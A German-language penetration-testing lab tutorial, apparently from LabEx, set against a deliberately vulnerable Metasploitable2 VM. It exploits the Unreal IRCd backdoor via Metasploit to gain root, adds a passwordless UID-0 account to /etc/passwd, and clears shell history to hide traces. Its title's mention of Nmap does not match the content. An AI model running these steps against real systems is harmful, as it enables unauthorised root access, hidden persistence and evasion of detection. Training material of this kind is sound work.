Backdoor erstellen und Spuren auf dem Zielsystem mit Nmap löschen

CybersicherheitBeginner
Jetzt üben

Einführung

In diesem Lab lernen wir, wie man nach einem erfolgreichen Penetration-Angriff eine Backdoor erstellt und die hinterlassenen Spuren auf dem Zielsystem beseitigt. Das Szenario findet in der LabEx-Umgebung statt, in der wir das Kali-Terminal nutzen, um Schwachstellen auf dem Metasploitable2-Zielsystem auszunutzen, Root-Zugriff zu erlangen, eine Backdoor für zukünftige Zugriffe einzurichten und alle während des Angriffs entstandenen Spuren zu löschen.

Root-Zugriff auf dem Zielsystem erlangen

In diesem Schritt nutzen wir die Unreal Ircd-Schwachstelle, um Root-Zugriff auf dem Zielsystem zu erhalten.

Starten Sie nun die Angriffsmaschine (Kali Linux Container) und die Zielmaschine (Metasploitable2 virtuelle Maschine) für das Experiment.

Öffnen Sie ein xfce-Terminal auf dem LabEx-Host-Rechner und starten Sie das Metasploitable2-Ziel mit dem folgenden Befehl:

sudo virsh start Metasploitable2

Warten Sie, bis das Zielsystem gestartet ist; dies kann 1-3 Minuten dauern.

Testen Sie die Verbindung zum Zielsystem durch einen Ping:

ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping zu beenden.

Starten Sie den Kali Linux Container und rufen Sie die Bash-Umgebung auf:

docker run -ti --network host b5b709a49cd5 bash

Testen Sie innerhalb des Kali-Containers die Netzwerkverbindung zum Zielsystem:

ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping zu beenden.

Nun laufen sowohl die Angriffsmaschine als auch das Zielsystem, und Sie können mit dem Penetration Testing beginnen.

Hinweis: Sollten Sie die aktuelle Bash versehentlich verlassen, wird der Kali-Container automatisch gestoppt. Sie können docker run -ti --network host b5b709a49cd5 bash erneut auf dem Host ausführen, um einen neuen Kali-Container zu starten und das Experiment fortzusetzen.

Geben Sie im Kali Linux Container die folgenden Befehle im Bash-Terminal ein:

service postgresql start
msfdb init
cd ~
msfconsole

Dies startet den PostgreSQL-Datenbankdienst, initialisiert die Datenbank und öffnet die Metasploit Framework Console (msfconsole) für weitere Operationen.

Suchen Sie nach dem Unreal Ircd-Schwachstellenmodul:

search unreal_ircd

Verwenden Sie das Modul unix/irc/unreal_ircd_3281_backdoor:

use exploit/unix/irc/unreal_ircd_3281_backdoor

Setzen Sie die IP-Adresse des Ziels:

set RHOST 192.168.122.102

Wählen Sie ein Bind-Shell-Payload für das Modul:

set PAYLOAD cmd/unix/bind_perl

Führen Sie den Exploit aus, um Zugriff zu erhalten:

exploit

Überprüfen Sie den aktuellen Benutzer:

whoami

Sie sollten sehen, dass Sie Root-Zugriff auf dem Zielsystem erlangt haben.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten

Eine Backdoor erstellen

Nachdem wir nun Root-Zugriff erlangt haben, erstellen wir in diesem Schritt eine Backdoor für zukünftige Zugriffe auf das Zielsystem.

Falls Sie sich nicht in der Metasploit-Konsole befinden, starten Sie diese bitte zuerst:

cd ~
msfconsole

Überprüfen Sie anschließend die Systeminformationen:

uname -a

Suchen Sie den Speicherort der Bash des Root-Benutzers:

cat /etc/passwd

Erstellen Sie ein Backdoor-Konto ohne Passwort:

echo 'shiyanlou1234::0:0::/:/bin/sh' >> /etc/passwd

Überprüfen Sie die Erstellung des Backdoor-Kontos:

cat /etc/passwd

Sie sollten das neue Konto shiyanlou1234 in der Ausgabe sehen.

Öffnen Sie ein neues Terminal und verbinden Sie sich über das Backdoor-Konto mit dem Zielsystem:

telnet 192.168.122.102

Geben Sie bei Aufforderung den Benutzernamen shiyanlou1234 ein.

Überprüfen Sie den aktuellen Benutzer:

whoami

Sie sollten sehen, dass Sie als Backdoor-Benutzer angemeldet sind.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten

Spuren löschen

In diesem Schritt ist es nach dem Erlangen des Zugriffs und der Erstellung einer Backdoor wichtig, alle während des Angriffs hinterlassenen Spuren zu beseitigen, um einer Entdeckung zu entgehen.

Falls Sie sich nicht in der Metasploit-Konsole befinden, starten Sie diese bitte zuerst:

cd ~
msfconsole

Eine gängige Methode zum Löschen von Spuren ist das Entfernen des Befehlsverlaufs. Der Verlauf wird in der Datei .bash_history gespeichert. Sie können den Verlauf mit folgendem Befehl löschen:

history -c

Um die Datei .bash_history zu löschen, können Sie deren Speicherort mit dem Befehl find ermitteln:

find / -name .bash_history

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten

Zusammenfassung

In diesem Lab haben wir gelernt, wie man mithilfe der Unreal Ircd-Schwachstelle Root-Zugriff auf ein Zielsystem erlangt, ein Backdoor-Konto für zukünftige Zugriffe erstellt und die während des Angriffs hinterlassenen Spuren beseitigt. Diese praktische Erfahrung hilft Ihnen zu verstehen, welche Techniken Angreifer einsetzen, um dauerhaften Zugriff aufrechtzuerhalten und ihre Spuren nach einem erfolgreichen Penetration-Angriff zu verwischen.